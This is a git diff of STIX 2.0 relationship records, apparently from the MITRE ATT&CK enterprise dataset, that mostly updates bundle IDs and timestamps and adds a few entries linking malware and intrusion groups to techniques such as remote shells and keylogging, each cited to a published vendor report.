diff --git a/enterprise-attack/relationship/relationship--abee00d3-8417-468b-84a4-40c7d0ac4f7d.json b/enterprise-attack/relationship/relationship--abee00d3-8417-468b-84a4-40c7d0ac4f7d.json
index ae65108ff9..4ac3939baa 100644
--- a/enterprise-attack/relationship/relationship--abee00d3-8417-468b-84a4-40c7d0ac4f7d.json
+++ b/enterprise-attack/relationship/relationship--abee00d3-8417-468b-84a4-40c7d0ac4f7d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--62273564-937a-449e-9927-1a4cb8d1197f",
+    "id": "bundle--be34458b-5269-46c8-9b3f-6da7fad91c06",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--abee00d3-8417-468b-84a4-40c7d0ac4f7d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "S-Type runs the command <code>net start</code> on a victim.",
             "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131",
diff --git a/enterprise-attack/relationship/relationship--ac3b6751-e615-44f6-a086-0c236742d8fd.json b/enterprise-attack/relationship/relationship--ac3b6751-e615-44f6-a086-0c236742d8fd.json
index c71e04b3dd..031efd59d4 100644
--- a/enterprise-attack/relationship/relationship--ac3b6751-e615-44f6-a086-0c236742d8fd.json
+++ b/enterprise-attack/relationship/relationship--ac3b6751-e615-44f6-a086-0c236742d8fd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f7b7d070-126b-4e68-bb1d-a1f95c49de47",
+    "id": "bundle--0de6a183-b340-4813-b254-820e38cf0310",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ac3b6751-e615-44f6-a086-0c236742d8fd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Psylo exfiltrates data to its C2 server over the same protocol as C2 communications.",
             "source_ref": "malware--dfb5fa9b-3051-4b97-8035-08f80aef945b",
diff --git a/enterprise-attack/relationship/relationship--ac3ee298-bef0-4a52-9050-3dcef1701408.json b/enterprise-attack/relationship/relationship--ac3ee298-bef0-4a52-9050-3dcef1701408.json
index 820f8bd343..8c2929e6c3 100644
--- a/enterprise-attack/relationship/relationship--ac3ee298-bef0-4a52-9050-3dcef1701408.json
+++ b/enterprise-attack/relationship/relationship--ac3ee298-bef0-4a52-9050-3dcef1701408.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bdcd6447-e518-4437-bf19-af5038f52f44",
+    "id": "bundle--1e58715f-0ba4-4a01-8ac6-3a3712364c2a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ac3ee298-bef0-4a52-9050-3dcef1701408",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FTP may be used to exfiltrate data separate from the main command and control protocol.",
             "source_ref": "tool--cf23bf4a-e003-4116-bbae-1ea6c558d565",
diff --git a/enterprise-attack/relationship/relationship--ac72c3da-6b58-4f66-8476-8d3cc9ccf6bd.json b/enterprise-attack/relationship/relationship--ac72c3da-6b58-4f66-8476-8d3cc9ccf6bd.json
index 8a40b977f1..b2bda49e0b 100644
--- a/enterprise-attack/relationship/relationship--ac72c3da-6b58-4f66-8476-8d3cc9ccf6bd.json
+++ b/enterprise-attack/relationship/relationship--ac72c3da-6b58-4f66-8476-8d3cc9ccf6bd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b133bc9f-fed2-416e-8a7e-b1b033c70ef7",
+    "id": "bundle--0f3faf4a-5c1b-4bea-9722-a3688cd37d06",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ac72c3da-6b58-4f66-8476-8d3cc9ccf6bd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Mivast has the capability to gather NTLM password information.",
             "source_ref": "malware--fbb470da-1d44-4f29-bbb3-9efbe20f94a3",
diff --git a/enterprise-attack/relationship/relationship--ac7d5b88-7929-4f64-abcd-8219caafac24.json b/enterprise-attack/relationship/relationship--ac7d5b88-7929-4f64-abcd-8219caafac24.json
index 55a1d4b402..2ada38dd46 100644
--- a/enterprise-attack/relationship/relationship--ac7d5b88-7929-4f64-abcd-8219caafac24.json
+++ b/enterprise-attack/relationship/relationship--ac7d5b88-7929-4f64-abcd-8219caafac24.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e5804374-50a6-4365-bbd3-c66d75eb5f3f",
+    "id": "bundle--e64d15aa-8c11-40c9-9425-8baa03bf135d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ac7d5b88-7929-4f64-abcd-8219caafac24",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.072Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN6 has used a script to iterate through a list of compromised PoS systems, copy data to a log file, and remove the original data files.",
             "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
diff --git a/enterprise-attack/relationship/relationship--acc40539-13a0-4577-a862-e348962bf0fc.json b/enterprise-attack/relationship/relationship--acc40539-13a0-4577-a862-e348962bf0fc.json
index 6466f9d1d8..55a232d790 100644
--- a/enterprise-attack/relationship/relationship--acc40539-13a0-4577-a862-e348962bf0fc.json
+++ b/enterprise-attack/relationship/relationship--acc40539-13a0-4577-a862-e348962bf0fc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4fee3b0c-2984-4ade-bc90-2987866a1c52",
+    "id": "bundle--03f1e212-b643-4087-aa87-c4f1790c2d71",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--acc40539-13a0-4577-a862-e348962bf0fc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pteranodon exfiltrates screenshot files to its C2 server.",
             "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd",
diff --git a/enterprise-attack/relationship/relationship--acca43ee-1e88-4d39-a953-7626173a89b2.json b/enterprise-attack/relationship/relationship--acca43ee-1e88-4d39-a953-7626173a89b2.json
new file mode 100644
index 0000000000..e296955c33
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--acca43ee-1e88-4d39-a953-7626173a89b2.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--d319c8e5-2df7-40db-973f-457883c9255e",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--acca43ee-1e88-4d39-a953-7626173a89b2",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Helminth can provide a remote shell.",
+            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
+            "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--ad50f322-18b6-43c7-bf6b-f77f4932fdad.json b/enterprise-attack/relationship/relationship--ad50f322-18b6-43c7-bf6b-f77f4932fdad.json
index f5375451cb..4f16402383 100644
--- a/enterprise-attack/relationship/relationship--ad50f322-18b6-43c7-bf6b-f77f4932fdad.json
+++ b/enterprise-attack/relationship/relationship--ad50f322-18b6-43c7-bf6b-f77f4932fdad.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b3d47e75-21c3-4599-8b16-41666e659934",
+    "id": "bundle--60bb793d-7dd5-4ba4-bf42-2ddb54d546ac",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ad50f322-18b6-43c7-bf6b-f77f4932fdad",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "DustySky checks for the existence of anti-virus.",
             "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54",
diff --git a/enterprise-attack/relationship/relationship--ad5f49b0-8b92-43d1-99f3-c691ccb7a8ac.json b/enterprise-attack/relationship/relationship--ad5f49b0-8b92-43d1-99f3-c691ccb7a8ac.json
index 249882678d..962a4a99ed 100644
--- a/enterprise-attack/relationship/relationship--ad5f49b0-8b92-43d1-99f3-c691ccb7a8ac.json
+++ b/enterprise-attack/relationship/relationship--ad5f49b0-8b92-43d1-99f3-c691ccb7a8ac.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--aa914cd2-7c5e-4a25-92a4-cc05cda4afbc",
+    "id": "bundle--cb1f165a-5a69-4682-b385-9700b7102c4f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ad5f49b0-8b92-43d1-99f3-c691ccb7a8ac",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "DustySky searches for network drives and removable media and duplicates itself onto them.",
             "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54",
diff --git a/enterprise-attack/relationship/relationship--ad696f42-0631-43fb-893b-a5616f14f93f.json b/enterprise-attack/relationship/relationship--ad696f42-0631-43fb-893b-a5616f14f93f.json
index 1336070d32..3bed940957 100644
--- a/enterprise-attack/relationship/relationship--ad696f42-0631-43fb-893b-a5616f14f93f.json
+++ b/enterprise-attack/relationship/relationship--ad696f42-0631-43fb-893b-a5616f14f93f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--13f13200-595f-4519-9e22-f43642a346b1",
+    "id": "bundle--213a6530-0b52-4606-8d13-38e6f81aed1b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ad696f42-0631-43fb-893b-a5616f14f93f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "gh0st RAT is able to wipe event logs.",
             "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24",
diff --git a/enterprise-attack/relationship/relationship--ade60661-8dfb-473a-8d12-014ba0273934.json b/enterprise-attack/relationship/relationship--ade60661-8dfb-473a-8d12-014ba0273934.json
index 524bffd203..609b69e269 100644
--- a/enterprise-attack/relationship/relationship--ade60661-8dfb-473a-8d12-014ba0273934.json
+++ b/enterprise-attack/relationship/relationship--ade60661-8dfb-473a-8d12-014ba0273934.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b105c34c-313f-441a-be52-c063db42a2a0",
+    "id": "bundle--f1d99c44-1cb9-4f4b-b333-25c7d1b88dc1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ade60661-8dfb-473a-8d12-014ba0273934",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Kasidet has the ability to initiate keylogging and screen captures.",
             "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2",
diff --git a/enterprise-attack/relationship/relationship--ade72dc6-559e-4a84-9024-1a862faec6a0.json b/enterprise-attack/relationship/relationship--ade72dc6-559e-4a84-9024-1a862faec6a0.json
index 15e9e08b0d..fc81dda3c6 100644
--- a/enterprise-attack/relationship/relationship--ade72dc6-559e-4a84-9024-1a862faec6a0.json
+++ b/enterprise-attack/relationship/relationship--ade72dc6-559e-4a84-9024-1a862faec6a0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2e230f5a-4441-40f3-9059-f417d3b4aec1",
+    "id": "bundle--d314baa3-4674-4134-9f40-d7079eb9eb21",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ade72dc6-559e-4a84-9024-1a862faec6a0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.071Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN6 used publicly available tools (including Microsoft's built-in SQL querying tool, osql.exe) to map the internal network and conduct reconnaissance against Active Directory, Structured Query Language (SQL) servers, and NetBIOS.",
             "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
diff --git a/enterprise-attack/relationship/relationship--adf7a6a5-91b0-4c37-9fa5-0bfbb382a838.json b/enterprise-attack/relationship/relationship--adf7a6a5-91b0-4c37-9fa5-0bfbb382a838.json
index 682843ca39..923f24a598 100644
--- a/enterprise-attack/relationship/relationship--adf7a6a5-91b0-4c37-9fa5-0bfbb382a838.json
+++ b/enterprise-attack/relationship/relationship--adf7a6a5-91b0-4c37-9fa5-0bfbb382a838.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--71a8353c-2bca-4162-8abb-1ce9173dd6bf",
+    "id": "bundle--ac0ed67a-7321-4c03-a555-eed2336153c7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--adf7a6a5-91b0-4c37-9fa5-0bfbb382a838",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Some Backdoor.Oldrea samples contain a publicly available Web browser password recovery tool.",
             "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974",
diff --git a/enterprise-attack/relationship/relationship--ae1600d0-8271-4709-a1a6-6fb62494fa23.json b/enterprise-attack/relationship/relationship--ae1600d0-8271-4709-a1a6-6fb62494fa23.json
new file mode 100644
index 0000000000..9a01a1e3a7
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--ae1600d0-8271-4709-a1a6-6fb62494fa23.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--93aae65d-db3f-4102-ac4d-b907c92eafa5",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--ae1600d0-8271-4709-a1a6-6fb62494fa23",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "has used keylogging tools.",
+            "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e",
+            "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2",
+            "external_references": [
+                {
+                    "source_name": "Symantec Sowbug Nov 2017",
+                    "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.",
+                    "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--ae1de9c5-6bc0-459a-b4ca-568139a5ee41.json b/enterprise-attack/relationship/relationship--ae1de9c5-6bc0-459a-b4ca-568139a5ee41.json
new file mode 100644
index 0000000000..78dab40a15
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--ae1de9c5-6bc0-459a-b4ca-568139a5ee41.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--e3c95463-bbde-4384-ac2a-b6ed5b764257",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--ae1de9c5-6bc0-459a-b4ca-568139a5ee41",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--ae1ee1dc-6017-4177-b34c-70db166a939e.json b/enterprise-attack/relationship/relationship--ae1ee1dc-6017-4177-b34c-70db166a939e.json
index e05bebd037..4317d3ebea 100644
--- a/enterprise-attack/relationship/relationship--ae1ee1dc-6017-4177-b34c-70db166a939e.json
+++ b/enterprise-attack/relationship/relationship--ae1ee1dc-6017-4177-b34c-70db166a939e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f29c6781-eac8-4088-9b87-9b629ea513b8",
+    "id": "bundle--77452b97-b216-4d4f-9e9a-8a76ef9839a4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ae1ee1dc-6017-4177-b34c-70db166a939e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Many strings in JHUHUGIT are obfuscated with a XOR algorithm.",
             "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
diff --git a/enterprise-attack/relationship/relationship--ae370b88-fd93-4803-a154-aa3debf2327b.json b/enterprise-attack/relationship/relationship--ae370b88-fd93-4803-a154-aa3debf2327b.json
index b1a40886c7..281de0076f 100644
--- a/enterprise-attack/relationship/relationship--ae370b88-fd93-4803-a154-aa3debf2327b.json
+++ b/enterprise-attack/relationship/relationship--ae370b88-fd93-4803-a154-aa3debf2327b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e1c58f9a-e438-4f38-9f7a-c23ea76ec089",
+    "id": "bundle--1ef68a02-eacc-42b0-bcf7-9172016c2507",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ae370b88-fd93-4803-a154-aa3debf2327b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "httpclient opens cmd.exe on the victim.",
             "source_ref": "malware--e8268361-a599-4e45-bd3f-71c8c7e700c0",
diff --git a/enterprise-attack/relationship/relationship--ae38c68d-cc08-4460-9d98-ddf957f837e2.json b/enterprise-attack/relationship/relationship--ae38c68d-cc08-4460-9d98-ddf957f837e2.json
index 3ee160dcbc..d72fb23309 100644
--- a/enterprise-attack/relationship/relationship--ae38c68d-cc08-4460-9d98-ddf957f837e2.json
+++ b/enterprise-attack/relationship/relationship--ae38c68d-cc08-4460-9d98-ddf957f837e2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--933f5e9e-94ed-4ba9-a9d4-7e1313d1e057",
+    "id": "bundle--68aae1a5-37ac-4d6b-a2b9-79edabce71e7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ae38c68d-cc08-4460-9d98-ddf957f837e2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "One persistence mechanism used by CozyCar is to register itself as a scheduled task.",
             "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754",
diff --git a/enterprise-attack/relationship/relationship--ae3be82b-3d54-4be8-939b-e074a2cea170.json b/enterprise-attack/relationship/relationship--ae3be82b-3d54-4be8-939b-e074a2cea170.json
index c73498813b..68082eb370 100644
--- a/enterprise-attack/relationship/relationship--ae3be82b-3d54-4be8-939b-e074a2cea170.json
+++ b/enterprise-attack/relationship/relationship--ae3be82b-3d54-4be8-939b-e074a2cea170.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f1952992-24d4-4706-a9ef-2979a17d8067",
+    "id": "bundle--f15bf64d-3982-4b06-92d4-6c43750b8b0c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ae3be82b-3d54-4be8-939b-e074a2cea170",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Misdat is capable of downloading files from the C2.",
             "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039",
diff --git a/enterprise-attack/relationship/relationship--ae61abba-14fb-4d4e-9f8e-a3b18500b449.json b/enterprise-attack/relationship/relationship--ae61abba-14fb-4d4e-9f8e-a3b18500b449.json
index 37a7dfb3cf..96c33d14b0 100644
--- a/enterprise-attack/relationship/relationship--ae61abba-14fb-4d4e-9f8e-a3b18500b449.json
+++ b/enterprise-attack/relationship/relationship--ae61abba-14fb-4d4e-9f8e-a3b18500b449.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--29f25dfe-8fc8-410e-8893-180b9a12573a",
+    "id": "bundle--156270fc-15d4-4693-b756-a428641c2ea5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ae61abba-14fb-4d4e-9f8e-a3b18500b449",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.067Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Various Lazarus Group malware modifies the Windows firewall to allow incoming connections or disable it entirely using netsh. Lazarus Group malware TangoDelta attempts to terminate various processes associated with McAfee.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
diff --git a/enterprise-attack/relationship/relationship--ae8a95fa-c0ad-40b4-a573-a9441ed94fab.json b/enterprise-attack/relationship/relationship--ae8a95fa-c0ad-40b4-a573-a9441ed94fab.json
index 68d8b99f9e..a96240b237 100644
--- a/enterprise-attack/relationship/relationship--ae8a95fa-c0ad-40b4-a573-a9441ed94fab.json
+++ b/enterprise-attack/relationship/relationship--ae8a95fa-c0ad-40b4-a573-a9441ed94fab.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a9eda32e-2f97-4ef3-ba08-12ea4d416a2f",
+    "id": "bundle--1d2fb98e-c50d-4a57-9394-1b8bb83539cb",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ae8a95fa-c0ad-40b4-a573-a9441ed94fab",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "USBStealer automatically exfiltrates collected files via removable media when an infected device is connected to the second victim after receiving commands from the first victim.",
             "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb",
diff --git a/enterprise-attack/relationship/relationship--ae9befd5-d8b7-4492-9b47-422a40d610cc.json b/enterprise-attack/relationship/relationship--ae9befd5-d8b7-4492-9b47-422a40d610cc.json
index 9c48b24448..59fb5020d8 100644
--- a/enterprise-attack/relationship/relationship--ae9befd5-d8b7-4492-9b47-422a40d610cc.json
+++ b/enterprise-attack/relationship/relationship--ae9befd5-d8b7-4492-9b47-422a40d610cc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3d6374a7-29fa-4229-ae45-858331f86d3e",
+    "id": "bundle--cefcd70d-e91c-4ffe-a3c4-0c8f60380c22",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ae9befd5-d8b7-4492-9b47-422a40d610cc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "GeminiDuke collects information on programs and services on the victim that are configured to automatically run at startup.",
             "source_ref": "malware--199463de-d9be-46d6-bb41-07234c1dd5a6",
diff --git a/enterprise-attack/relationship/relationship--aea8401e-774e-47b1-86ac-220cacd11a3c.json b/enterprise-attack/relationship/relationship--aea8401e-774e-47b1-86ac-220cacd11a3c.json
index 6701f2886a..e2b7a5caa1 100644
--- a/enterprise-attack/relationship/relationship--aea8401e-774e-47b1-86ac-220cacd11a3c.json
+++ b/enterprise-attack/relationship/relationship--aea8401e-774e-47b1-86ac-220cacd11a3c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4fa4ad17-2545-4cb7-ad5e-3e31758ad989",
+    "id": "bundle--ff73d917-2005-49a4-a4d6-0f579943f0af",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--aea8401e-774e-47b1-86ac-220cacd11a3c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.071Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN6 has used scheduled tasks to establish persistence for various malware it uses, including downloaders known as HARDTACK and SHIPBREAD and PoS malware known as TRINITY.",
             "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
diff --git a/enterprise-attack/relationship/relationship--aeaa2f37-4014-4313-9fe2-8616b352a90c.json b/enterprise-attack/relationship/relationship--aeaa2f37-4014-4313-9fe2-8616b352a90c.json
index 807d571e2e..043fda224b 100644
--- a/enterprise-attack/relationship/relationship--aeaa2f37-4014-4313-9fe2-8616b352a90c.json
+++ b/enterprise-attack/relationship/relationship--aeaa2f37-4014-4313-9fe2-8616b352a90c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--cb2f065a-109e-48c5-9754-92cff17b9dfd",
+    "id": "bundle--8544d9a4-d1d4-493a-984c-2e1e5dae8489",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--aeaa2f37-4014-4313-9fe2-8616b352a90c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "TinyZBot can create a shortcut in the Windows startup folder for persistence.",
             "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9",
